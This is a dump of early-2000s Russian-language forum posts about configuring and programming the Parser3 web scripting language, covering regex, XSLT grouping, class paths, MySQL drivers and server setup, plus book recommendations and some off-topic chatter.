"6752","[code]\
$text_news5[^text_news4.match[(^^|[^^=\"])(http:\\/\\/|ftp:\\/\\/|mailto:)([:a-z0-9~%\\{\\}._/?=&@,#-]+)][gi]{${match.1}<a href=\"${match.2}${match.3}\">${match.2}${match.3}</a>}]\
[/code]\
по логике все верно... но неработает"
"6753","[code]\
^string.match[\
    very #это делает то\
    complex #а это делает это\
    regexp][x]{…}\
[/code]\
\
такое и читать легче и понять причину несчастья"
"6755","Возможно в целях безопасности он закрыл 21 порт. Ну не идиот, а параноик, хотя если работаете в ФСБ - очень даже правильно поступает.\
А то сразу админов ругать!!!\
блин. Поадминили бы.... послушали сказки о \"поломатой кнопочке запуск\" не тем бы голосом запели. У админа м/п работа такая."
"6758","Недавно тут была дискуссия о том как делать группировку. Я тут недавно приобрел книжку по XSLT и там есть пара примеров о том как это делается.\
Допустип есть такой XML код для новостей или ещё чего-либо:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<news>\
	<item date=\"12.01.2002\" title=\"header1\">Бла-бла</item>\
	<item date=\"12.01.2002\" title=\"header2\">Бла-бла</item>\
	<item date=\"10.01.2002\" title=\"header3\">Бла-бла</item>\
	<item date=\"10.01.2002\" title=\"header4\">Бла-бла</item>\
	<item date=\"7.01.2002\" title=\"header5\">Бла-бла</item>\
	<item date=\"7.01.2002\" title=\"header6\">Бла-бла</item>\
</news>\
[/code]\
Задача вывести это сгруппировав элементы по какому-либо параметру например по дате:\
[code]\
12.01.2002\
	все события за это число\
10.01.2002\
	все события за это число\
7.01.2002\
	все события за это число\
[/code]\
С помощью XSLT это делается достаточно просто:\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
\
<xsl:stylesheet\
	version=\"1.0\"\
	xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
>\
\
	<xsl:key name=\"dates\" match=\"/news/item\" use=\"@date\"/>\
\
	<xsl:template match=\"/news\">\
\
		<xsl:variable name=\"unique_date\"\
			select=\"/news\
					/item[generate-id(.)=\
						generate-id(key('dates', @date))]\
					/@date\"\
		/>\
\
		<dl>\
		<xsl:for-each select=\"$unique_date\">\
			<dt><xsl:value-of select=\".\"/></dt>\
				<dd>\
				<xsl:for-each select=\"key('dates', .)\">\
					<b><xsl:value-of select=\"@title\" /></b><br/>\
					<xsl:value-of select=\".\" /><p/>\
				</xsl:for-each>\
				</dd>\
		</xsl:for-each>\
		</dl>\
	</xsl:template>\
\
</xsl:stylesheet>\
[/code]"
"6759","Будут ещё интересные алгоритмы, делись.\
Этот мне точно пригодится, очень в тему пришлось. \
\
Да, что за книжка?"
"6761","а книжка называется:\
\
XSLT 2-е издание. Автор Майкл Кэй (автор процессора Saxon) Издательство Символ (оригинал издан в издательстве Wrox). Книжка красного цвета, как впрочем и у всех книг (и переводных в том числе) издательства Wrox."
"6763","Thx! Я пока что остановился на коде, присланном товарищем Sumo. Мне он вполне подошел."
"6764","Не могу никак разрешить запись в файл в IIS. вроде через администрирование пролез везде разрешил, а он все равно не хочет писаться"
"6765","Не хочется ковыряться с кодом на втором парсере, т. к. я с ним никогда раньше не сталкивался. Забивать голову ненужной информацией вредно ;)"
"6766","Изучал возможности Parser3 по документации.Следуя документации и пожеланиям форума, не удалось оживить @USE (Урок4).Подскажите, что делать."
"6767","Но со временем, ты возможно обратишься к коду товарища [i]egr[/i] :) или напишешь подобное сам."
"6768","А сколько это чудо печатной мысли стоит? ;)"
"6769","Я в Питере купил за 555 рублей (русских)."
"6770","Вчера имел такой же трабл. Нужно настроить $CLASS_PATH в конфиге парсера. Например:\
[code]\
$CLASS_PATH[^table::create{path \
D:\\Devel\\Web\\site\\WWW\
}] \
[/code]\
\
Потом в коде пишем\
[code]\
@USE\
/TNavigation.p\
[/code]\
\
Предполагается, что файл TNavigation.p лежит в D:\\Devel\\Web\\site\\WWW."
"6771","одна из распространенных ошибок - пробел после @USE...\
\
вторая - неверно определенный $CLASS_PATH"
"6772","В твоем случае:\
[code]\
$CLASS_PATH[D:\\Devel\\Web\\site\\WWW]\
[/code]"
"6773","Вот это цена! ;) В каком хоть магазине? Схожу полистаю - все равно денег нет :("
"6774","Понятно... Я просто сделал так, как в документации написано - чтобы заработало наверняка. К тому же, можно написать 1 путь для windows, другой для bsd на сервере - должно, по идее, и там, и тут работать нормально. Хотя я еще не пробовал.\
\
п.с. Интересно, на Хоха.ру куда классы складывать?"
"6775","Да я пошутил вообще-то - против админов ничего не имею -) Хотя смотря какие админы... У меня в универе понабрали просто идиотов. Один с умным видом набирал ping в строке адреса IE (непонятно зачем - пальцы гнул), когда я его спросил IP машины. Он сказал, что его нельзя узнать - \"программисты засекретили\"... Естественно, я его узнал через панель управления..."
"6776","Начинаю писать на парсере. Использую cfg-файл для создания меню. \
id title url ...\
1\
2\
3\
...\
Далее стандартно $topic[^table::load[/_topic.cfg]]\
Как по известному номеру id перейти на нужную запись, что считать title и url. Можно ли это сделать не перебирая всю таблицу. Заранее спасибо"
"6777","http://parser.ru/docs/lang/tableoffset.htm"
"6778","http://parser.ru/docs/lang/tablelocate.htm"
"6779","И ещё - если файл открыт IIS'ом (например, он его посетителю в этот момент отдаёт) хрен ты с этим файлом что сделаешь.\
\
P.S. Про \"ребятки\"... Г.А. Зюганов, с которым я имею несчастье жить в одном подъезде, имеет обыкновение приветствовать каждого встречаемого им молодого человека/девушку натужной улыбкой (он её, видимо, считает искренней, так его имиджмейкеры научили) и словами \"привет, ребята\" (этот м.. считает, что все его искренне любят и непременно будут голосовать за него, кретин) за что когда-нибудь таки схлопочет по морде. Так вот, сие фамильярное обращение вызывает у меня стойкие ассоциации именно с этим, кхм, \"деятелем\" и провоцирует рукоприкладство, так что не надо, а? Вежливее надо быть (ок, ок, обращения \"милостивые государи\" тоже не надо, давайте без крайностей), ладно? \
\
Nothing personal, OK?\
 "
"6780","Хорошие книжки стоят дорого, смирись с этим. Вот только сегодня сотен семь курьеру из Болеро отсчитал... А Wishlist на Amazon.com мой тянет вообще на полторы штуки [i]нерублей[/i] :-)\
\
Это не детективчики марининой в мягкой обложке :-) Относись к дорогим книжкам как к инвестициям в [b]своё[/b] образование и дыши глубже :-)\
\
"
"6781","Никогда не жалел денег на книги. Просто не всегда можно выложить даже 500 рублей за книгу - даже очень и очень хорошую. А если можно - то нужно ;)\
\
Кстати, скажите, пожалуйста, ISBN книги о XSLT!"
"6784","В догонку к теме о книге по XSLT предлагаю следующую дискуссию -\
Какие книги вы можете порекомендовать на темы:\
[code]\
  XML и связанные с ним технологии etc.\
  HTML, DHTML\
  PHP\
  Perl\
  Reg. exps.\
  ASP\
  Java, JavaScript, JSP ...\
[/code]\
и другие технологии. Если книга очень крутая, пишите ISBN ;) Так легче искать в интернет-магазинах."
"6785","В данный момент меня особенно интересует MySQL.\
Что вы можете рекомендовать?\
Хотя бы из этого - http://www.books.ru/shop/show/10043?Books_Session=d4fd4cde0ba5e585794c6b765794ea4c"
"6787","Не пришлете ссылку? :-)"
"6788","hi vsem...sorry za translit...\
Takay situatsiya : kogda ya perviy raz ustanavlival Parser - ya skachal vse, chto mozhno bilo skachat, zakinul eto vse v cgi-bin, nastroil auto.p file'i(tokda ih bilo 2) i u menya vse rabotalo. Potom vishla versiya 3.0.0005, a tam ne okazalos nekotorih file'ov. V chastnosti icon.dll, libexslt.dll, libgdome.dll,libglib-1.3-11.dll, libintl-1.dll,LIBXML2.DLL,LIBXSLT.DLL... Ya eti file'i ster - i parser perestal rabotat - rugaetsa, chto ne nahodit eti file'i... Tak gde zdes sobaka zarita? Eti file'i dolzhni bit, ili ih nado steret?"
"6789","помню, что было, но не могу найти :(\
можно было каким-то бразом внутри макроса переопределять значение, возвращаемое этим макросом. Что-то, типа return в функциях во многих языках программирования."
"6790","Это вот эта - http://www.books.ru/shop/books/9673 - что-ли? На этом сайте ее очень рекомендуют... Мне уже захотелось ее найти и купить. -)"
"6797","Vse...thanks..ya sam razobralsya...prosto ya ispolzoval parser.exe s podderzhkoy XML, a moduli i .dll, nuzhniye dlya raboti etoy versiyi parser'a, ne ustanovil...Ya postavil Simple-Parser - problema otpala sama soboy..."
"6798","В чем прикол? Просто накрутка или что-то еще?"
"6799","Насколько я понимаю книга по регулярным выражениям на русском языке вышла одна, зато очень дажа хорошая.\
\
Дж. Фридл \"Регулярные выражения. Библиотека программиста\" http://www.books.ru/shop/books/12870\
\
"
"6801","А главное, что кроме неё ничего про MySQL покупать больше и не надо."
"6803","http://www.rusedit.ru/sales_store.asp\
\
Можно позвонить и уточнить."
"6804","Мне саппорт сказал такое.\
Как бороться? Подскаажите плз.\
\
Настройте парсер, что бы он коннектился не по сокету, а по порту."
"6805","формат строки подключения к MySQL следующий: [code]\
user:password@host:port/database\
[/code]\
"
"6806","Я её в Доме Книги купил. Зашел, увидел, полистал и купил. На цену внимания особого не обращаю если книга нравится."
"6807","1. если mysql находится той же машине, что и веб-сервер, использование unix socket'а предпочтительнее.\
вы можете узнать путь к, очевидно, находящемуся в нестандартном месте[иначе mysql клиент нашёл бы его] файлу unix socket'а, и указать его в строке соединения, делается(в документации написано, ну да контора пишет) так:\
[code]\
mysql://user:password@[/tmp/mysql.socket]/database\
[/code]\
\
2. если это по какой-то причине трудно/невозможно, то да, можно использовать tcp соединение, для чего укажите в качестве узла не localhost, и не 127.0.0.1, а настоящий адрес этой машины. тогда mysql клиент не будет втихаря использовать unix socket."
"6808","Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
\
Если создаю /gbook/auto.p и описываю методы подобные методам пользовательского класса из /classes/gbook.p, то все работает(соответственно подкорректировав /gbook/index/html)"
"6810","Считал такое обращение фамильярным. Возможно у вас другой город и поэтому в голове другой интерпритатор вербальных значений. У нас это считается довольно нормальным. Но я все же извиняюсь. В чужой монастырь...\
\
А за ответ на мой вопрос огромное спасибо."
"6811","чтобы узнать об ошибке подробнее.\
\
любимый egr, количество сообщений != качество."
"6814","1. Найти конфигурационный auto.p (его как правило размещают рядом с парсером)\
\
2. Найти в нем определение метода unhandled_exception и вместо вызова метода unhandled_exception_release сделать вызов метода unhandled_exception_debug типа так:\
было:\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
[/code]\
стало:\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]"
"6815","При бесплатном хостинге в текст HTML документа вставляется кусок кода с рекламой. Есть ли какое-нибудь стандартное решение для того чтобы Parser исключал из разбора кусок кода обрамлённого заданными тегами. Подскажите пожалуйста, если кто уже решал такую задачку"
"6816","Я конечно понимаю что выполнение происходит на сервере.\
Но может быть есть еще способ"
"6818","Unhandled Exception (Debug)\
D:/Inetpub/AL/classes/gbook.p(4:1): @CLASS must contain sole name\
exception.type=parser.compile "
"6819","Ksts, нам трудно посмотреть в строку 4, колонку 1 \
Вашего диска D."
"6820","Спасибо все получилось. В /classes/gbook.p было\
@CLASS\
gbook\
\
@load[]\
...\
\
исправил на:\
@CLASS\
gbook\
@load[] \
...\
\
В документации необходимо обратиь внимание на чувствительность к пробелам, символам перевода строк и т.п. "
"6821","К переводам строки в этом месте парсер не чувствителен, вообще-то... По крайней мере у меня не в одном и не двух местах там естьпереводу строк и все Ок.\
\
Вот если ты поставишь пробел после/перед названием класса или @USE - тогда будет ошибка."
"6823","Я считываю новость из файла _news.cfg Печатается все сплошным текстом. Как разбить текст на абзацы? Подскажите пожалуйста. Если можно пример. Спасибо."
"6825","И никаких вариантов нет формировать страницу в зависимость от разрешения клиента."
"6826","Допустим, в твоём тексте один перевод строки - это лайнбрейк, двойной - новый абзац. Тогда заменяешь их матчем (предположим, текст сидит в переменной $textfromyourfile)\
\
$textfromyourfile[^textfromyourfile.match[\\n\\n][g]{<p />}]\
$textfromyourfile[^textfromyourfile.match[\\n][g]{<br />}]\
<body><![CDATA[$textfromyourfile]]></body> не забывая untaint'ить переменную $textfromyourfile (её содержимое пришло из внешнего источника, файла, которому парсер не доверяет по умолчанию).\
\
Всё."
"6827","опиши впечатления для http://www.parser.ru/hosters/, а то не одним же нам с egr'ом стараться :)))"
"6828","Определить, отсабмитить полученное, перестроить...\
\
Только толку от этого нуль без палочки. У меня, например, окно браузера никогда не соответствует размерам экрана. Более того, это невозможно по причине того, что это макинтош, у которого нет понятия maximize ;-) Стандартно окно браузера у меня примерно 900х500 - и что будет, если я получу 1024? Думается, фуфел...\
\
Так что, подумай, надо ли оно"
"6830","<a href=\"/news/newsdetail.html?n_no=$newstop.no\">\
\
Как мне из url http://parsertest/news/newsdetail.html?n_no=3 вытащить в какую-либо переменную значение n_no=3?\
Что-то было про form, но как конкретно надо писать?  "
"6831","за подробностями в доку - читать про класс form"
"6832","Как работают эти строки. Что надо изначально писать в исх. тексте \\n\\n или <p>. Что за последняя функция !CDATA.\
Что на что заменяется? Пусть в $textfromyourfile=\"Привет друзья Мои. Как дела. Всем привет\"\
Каким образом она превратится в\
\
Привет друзья Мои. \
\
Как дела. \
\
Всем привет\
"
"6833","То, что сабжевая конструкция работает как ^cache(0) -- Это баг или меня глючит?"
"6835","дата/время в прошлом = не кэшировать.\
\
это полночь текущего дня."
"6838","Если ты сам изобрел формат записи - значит ты знаешь как из него сделать обратно дату -> можешь написать свой метод/оператор.\
\
Только не надо ЭТО требовать внедрить в операторы парсера, т.к. американцы и русские воспримут эту запись даты по разному :) Где здесь месяц? А?\
"
"6839","Пытаюсь разбить текст на абзацы. Посоветовали:\
\
$textfromyourfile[^textfromyourfile.match[\\n\\n][g]{<p />}]\
$textfromyourfile[^textfromyourfile.match[\\n][g]{<br />}]\
<body><![CDATA[$textfromyourfile]]></body> \
\
Почему то не получается. Честно говоря не очень понимаю что написано.\
Как работают эти строки. Что надо изначально писать в исх. тексте \\n\\n или <p>. Что за последняя функция !CDATA.\
Что на что заменяется? Пусть в $textfromyourfile=\"Привет друзья Мои. Как дела. Всем привет\"\
Каким образом она превратится в\
\
Привет друзья Мои. \
\
Как дела. \
\
Всем привет\
\
Помогите плииизз. Спасибо\
"
"6840","Мне бы из нормального вида в TimeStamp дату переделать.\
Я ниже задовал подобный вопрос. Токо там не надобыло из timestamp-a в нормальный вид преводить. А вот здесь все на оборот!\
Помогите."
"6841","Уважаемое сообщество Parser-любов:)!\
Я думаю, уже большое количество разработчиков поняло как удобен Parser, так давайте же внесём посильную лепту в его распространение!!! \
Всего то нужно, перевести документацию  на английский язык.\
Каждый из вас может перевести понравившуюся статью из документации,  и каждый сможет оценить перевод других, выставляя оценки, а окончательные варианты доверим  утверждать PAF’у и остальным разработчикам.\
 \
Интерфейс сказали есть, так что давайте проявляйть активность!\
\
Как только появиться положительные отклики на данное сообщение, так я думаю сразу и появиться система для перевода.\
\
[i]Примечание: я не являюсь сотрудником студии, я просто человек активно использующий Parser  в своей работе! Я считаю, что Parser является достоянием народной гордости русского Интернет сообщества, и считаю себе обязанным помочь в распространение этой технологии.\
Я думаю, что после того как мы осилим перевод документации, в наши ряды вольются и иностранные разработчики, должны же  мы наконец то доказать, что и русские что то умеют. [/i]\
\
Так  что давайте продвигать национальные идеи и достояния!!!\
 \
"
"6843","date == double == число дней с локального 01.01.70\
достаточно помножить на число секунд в сутках.\
куда же более очевидно?"
"6845","А у меня на Palm'е, например, разрешение экрана 160x160 и [u]никакого[/u] жабаскрипта в принципе :) Кстати, я от этого так люблю табличную вёрстку вебстраниц а-ля лента-ру..."
"6846","[code]\
$now[^date::now[]] \
\
^eval($now.day*86400)[%.2f]\
[/code]\
\
С головой моей чего-то сталось :-("
"6847","[quote]Что на что заменяется? Пусть в $textfromyourfile=\"Привет друзья Мои. Как дела. Всем привет\"\
\
Каким образом она превратится в\
\
Привет друзья Мои. \
\
Как дела. \
\
Всем привет\
\
Помогите плииизз. Спасибо[/quote]\
\
[code]$textfromyourfile[Привет друзья Мои. Как дела. Всем привет]\
\
$textfromyourfile[^textfromyourfile.match[\\. ][g]{.</p><p>}]\
<p>$textfromyourfile</p> [/code]\
\
Заменяет \"точка-пробел\" на новый абзац.\
\
P.S. Распечатай доки и садись читать.\
\
P.P.S. Писать личное местоимение первого лица с большой буквы... м-да... :)"
"6848","Спасибо"
"6849","Иду заказывать ее на books.ru"
"6851","Друзья, кто-нибудь хостился у этого провайдера?\
Как у них там насчет совместимости сами знаете с чем (П^3)?\
Меня бы вполне устроил их тариф master за $10 (чего-то больно дешево - небось сервер падучий)..."
"6854","1. работает Parser3\
2. бесплатно(на год) дают домен в зоне .com , .org или .ru\
3. где есть MySQL\
4. быстрый канал\
5. ну и еще че-нить эдакое\
\
Буду признателен.\
\
Одно условие (НЕ СЛИШКОМ ДОРОГОЙ) - и оплата помесячная."
"6856","я сделал точно также как и показано в примере номер 1 а вместо меню навигации появляется ^navigation[] как это исправить???"
"6857","А то я что-то сомневаюсь в его работоспособности. ;-) Без обид. ;-) Да, я видел, что написано \"deep alpha\". \
\
Из предложений -- следует заменять \".\" на что-нибудь ещё в названии макросов, имён и т. д. ;-) И ещё можно удалять пояснения конца макроса -- \"@/main\". :-) Удачи в нелёгком труде! ;-) "
"6858","А выложить можно будет прямо на [url=\"./?id=5280\"]php.ru[/url]. :-) "
"6859","попробуй установить. говорят, помогает. ;-)\
\
инструкции найдёшь в разделе \"[url=\"/docs/\"]документация[/url]\". удачи! "
"6860","Поставил Парсер3 под Апачи... В локалке все работает... с любой машины... Из вне ничего не работает... Коды Парсера воспринимаются как HTML??? "
"6861","а возможно им пользоваться в ОФФ лайне???"
"6863","в CVS выложено и исходники доступны для лёгкого скачивания для того, чтобы Игорю оказывалась посильная помощь.\
\
смутные пожелания малополезны, куда более нужны:\
1. хорошие короткие тесты\
2. идеально: куски кода (забирайте исходники, меняйте, присылайте diff)"
"6865","если настроил через виртуальные хосты, позаботься чтобы они были привязаны к обоим сетевым интерфейсам(для локалки и наружу)"
"6866","если хочешь чтобы все пахало наружу так же как и вовнутрь, вместо IP указывай *"
"6867","надо указывать в строке подключения как минимум mysql://user:password@host/имя_базы, а ты указываешь скорее всего mysql://user:password@host/"
"6870","а в том, что парсер не может найти таблицу с определениями драйверов для БД. Вариантов 3:\
\
1. Не считывается конфиг в котором и задается эта таблица\
\
2. В конфиге неопределена таблица SQL драйверов\
\
3. Не определен драйвер для MySQL в этой таблице"
"6871","зайди в конфигурационный auto.p и посмотри на определение $SQL, под Win это может выглядеть так:\
[code]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
odbc	$sqldriversdir/parser3odbc.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll\
oracle	$sqldriversdir/parser3oracle.dll	c:\\Oracle\\Ora81\\BIN\\oci.dll?PATH+=^;C:\\Oracle\\Ora81\\bin\
}]\
]\
[/code]"
"6872","Нет-ли примерного определения под Апач на Линуксе?"
"6873","только не путай конфигурационный auto.p и корневой для сайта, подробнее об этом в доке написано. А конфигурационный может выглядеть так:\
[code]\
@conf[/path/to/auto.p]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
$MAIL[\
	$.prog1[/usr/sbin/sendmail -t]\
	$.prog2[/usr/lib/sendmail -t]\
]\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>????????? ?????? ??????? \
??-?? ??????? ?????????? ????????? ??? ??????.</p>\
<p>?????????? ????????? ? ??????????????? ???????, <a href=\"mailto:egr@yandex.ru\">egr@yandex.ru</a>\
? ???????????? ??? ? ??????? ????? ????????? ??????, \
? ? ?? ????????.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
$CLASS_PATH[^table::create{path\
/classes}]\
[/code]"
"6875","Сообщение об ошибке:\
class is undefined\
xdoc\
\
D:/Inetpub/AL/article.html(2)\
exception.type=parser.runtime \
\
Поставлено под IIS5 ISAPI с поддержкой XLS и рядом выложены библиотеки поддержки XLS"
"6878","Как понять - где находится sqldriversdir???\
Парсер лежит в cgi-bin там-же parser3.conf в который я добавил\
$SQL(...)... (интересно это одно и тоже, что добавить в auto.p???)\
А вот libparser3mysql.so я положил в cgi-bin/lib/"
"6879","parser3.conf - это конфигурационный файл (точнее их два ГКФ и КФС) для парсера версии 0001.\
\
Давайте определимся какую версию парсера вы используете\
\
Если 0001 то таблицу драйверов определяйте в Главном конфигурационном файле parser3.conf (который обычно лежит рядом с парсером).\
\
Если 0005 то в конфигурационном auto.p (который тоже обычно лежит рядом с парсером)."
"6880","Otvetstvennost za rasprostraneniya Parser'a v Turkey - ya mogu vzyat na sebya!...:)\
\
P.S. i ya davno predlagal perevesti doc'i na english. U menya tut sotrudniki goryat zhelaniyem poznat Parser - a russkogo ne znayut. sidet i prepodavat im Parser - net ni vremeni ne vozmozhnosti... Esli bi bili doc'i na angliyskom - bilo bi ochen i ochen horosho!"
"6881","esli ya rabotal s mysql, mne budet legko s SQL? Govoryat - oni pochti odinakovi, tolko SQL pofunktsionalnee budet... Prosto ya hochu pereyti na SQL, no ne znayu, stoit li. Vot reshil posovetovatsa u prof'ov. Smogu li ya?"
"6882","А что ты имеешь ввиду под словом SQL? По-моему SQL это язык, и если ты работаешь с mysql то ты должен знать SQL иначе получится сакс.\
\
Если под словом SQL ты подразумеваешь какую-либо СУБД, то ты уж постарайся поподробнее объяснить что это за СУБД."
"6883","Da...ya ne pravilno virazilsya...\
U menya na sisteme stoit MySQL(ne pomnyu versiyu) server. Hochu pereyti na SQL Server 2000. A vopros vot v chem : bolshaya li raznitsa v sql-zaprosah(query) mezhdu mysql serverom i sql serverom?"
"6885","разница есть, и я бы сказал заметная, в MS SQL 2000 есть внешние ключи и соответственно ссылочная целостность, а это для многих как страшный сон. Там есть также виды, хранимые процедуры, триггеры что тоже надо знать.\
\
Хотя в принципе все это не принципиально и если понимаешь SQL (а лучше реляционную теорию) переехать на другую СУБД труда не составит."
"6887","Только что, анализируя конфигурационный auto.p обнаружил странный конструктор ^table::set{...} класса table, который не описан в доке. Да, этот конструктор присутствует только при определении таблиц SQL драйверов и MIME типов.\
\
Что это, - забыли в доку включить? или не включили потому что этот конструктор только в конфигурационном файле и может использоваться?"
"6888","вроде в auto.p я везде вымарал.\
\
был такой конструктор в... parser2. в parser3 изначально create назывался set. чтобы унифицировать названия был переименован. однако накопившийся код править трудно, поэтому это название конструктора какое-то время будет проддерживаться.\
потом, без предупреждения, пропадёт.\
\
диагноз: нет в документации, не верь глазам своим."
"6889","а то в один прекрасный день, при апгрейде, у меня бы парсер перестал работать по непонятной причине. \
\
Всем на заметку, ВАЖНО! - [b]замените все конструкторы set на create в ваших конфигах[/b]."
"6890","возможно ли?\
\
$price[^table::load[price.cfg]]\
\
<table>\
<tr>\
<td>\
<table>\
\
^price.menu{\
<tr bgcolor=#ЦВЕТ \
...\
</tr>\
}\
\
</table>\
</td>\
</tr>\
</table>\
\
Заранее спасибо!"
"6891","Настроить под апач (*unix)\
Зделал все как в доке.\
и ничего. Хотя по IIS и апач под винды все на ура.\
Как можно проверить где ошибка?"
"6893","Зайди в раздел Хостинги этого сайта и почитай чего там пишут, может тебе подойдет один из вариантов.\
\
В дополнение про цены на net.ru скажу:\
\
1. Для тарифа stand при первом подключении ты заплатишь 95 баксов с регистрацией домена в зоне .ru, т.е. за первый год получается 7.91 баксов в месяц.\
\
2. За каждый последующий год ты будешь платить 70 баксов т.е. 5.83 в месяц.\
\
По-моему дешевле некуда. При этом ты будешь иметь MySQL, 30 метров дискового пространства, за более подробной информацией об этом хостинге иди в раздел про хостинги и на их сайт.\
\
PS: Парсер работает там, где разрешено запускать свои CGI, подумай над этим и ответ на вопрос работает ли парсер на конкретном хостинге ты сможешь дать сам практически для любого хостинга."
"6894","не учел что за домен в зоне .ru надо же 25 баксов каждый год платить, т.е. у нас получается что за первый год мы платим 8.75 в месяц, за все последующие 7.91 в месяц для указанного тарифного плана."
"6897","Все вробибы настроил paser3.cgi положил в cgi-bin\
там же лежит и auto.p. Пытаюсь выполнить происходит 500 ошибка Premature end of script headers:.\
Посмотрел на этом форуме вычитал что нужно скомпилять с какой то\
--disable-foreign-group-files для FreeBSD.\
Подскажите что делать а то все желание пропадет."
"6898","Вы заливали Парсер через фтп-клиента в ascii-mode, а надо в binary ... и еще: правильно ли выбрана версия Парсера? (т.е. вы уверены, что на сервере стоит FreeBSD)"
"6899","Я скачас с сайта архив и распокавал его там. \
с командной строки пасер3.цжи нормально работает.\
Где еще искать."
"6901","Выдает:\
\
[code]\
You have an error in your SQL syntax near 'VALUE ('2132426342','1032537830000')' at line 1\
INSERT INTO testip (ip,timestamp) VALUE ('2132426342','1032537830000')\
[/code]"
"6903","А столбик-то создал :-(\
\
Ну да ладно пойду править и впреть не буду допускать подобного :-)"
"6904","Все равно:\
[code] \
You have an error in your SQL syntax near 'VALUE ('2132426342', '1032538708000')' at line 1\
INSERT INTO testip (ip,ts) VALUE ('2132426342', '1032538708000')\
[/code]"
"6906","...из за того, что Тип столбцов varchar? А я в него цифирки вгоняю?"
"6907","Посмотри логи апача (error.log) - в нем сказано, что не так.\
Если 500 - это не foreign-group - это что-то фатальней"
"6909","Трабл был в том что пасеру нужно указать туже группу что апач.\
Помоему так сказал.\
Как так сделал все пошло."
"6912","Сам бы вот лучше вместо такого большого сообщения перевёл пару строк. ;-) А вообще, мне кажется для начала нужно перевести сам веб-сайт (всё кроме документации и базы данных форума ;-), что-бы была возможность делать ссылку на eng.parser.ru с зарубежных сайтов написанных российскими кодерами. ;-) Так как исходные тексты сайта держатся в секрете, то и переводить лучше сотруднику Студии. ;-)"
"6914","..., но тогда нужно установить [url=\"http://httpd.apache.org\"]http-сервер Apache[/url] (рекомендуется версия 1.3.хх, доступна и для Microsoft Windows). \
\
Или [url=\"/docs/lang/parserscript.htm\"]запускать парсер из командной строки[/url]. "
"6915","И в некторых случаях все работает, а в некоторых появилось \
[code]\
$SQL:drivers table must be defined  type: parser.runtime\
[/code]\
\
Ранее такого не было. Т.е. скрипт не менялся, поставил денвер, скопировал - все запустилось, создал таблицы в базе.\
А далее - ругается что таблицы с SQL драйверами нет.\
Проверил конфиг - все есть. Запустил другой файл из этого пакета -все работает.\
Написал запрос в отдельном файле - соединился и выполнил. \
Запустил свой скрипт снова - та же проблема.\
На старой машине (p3.0001/без денвера) работает без проблем.\
В чем причина - то есть $SQL:drivers, то их нет ?  "
"6917","из исходников собирается с ключом -g [отладочня информация].\
если она вам не нужна, можно сделать\
[code]\
strip parser3\
[/code]\
станет поменьше."
"6918","Ситуация следующая.\
Сервер MySQL установлен не там где пасер.\
Файл libmysqlclient.so лежит в cgi-bin/lib/\
\
Файл конфига auto.p лежит в cgi-bin рядом с пасером \
\
ниже\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$a[000000000000]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
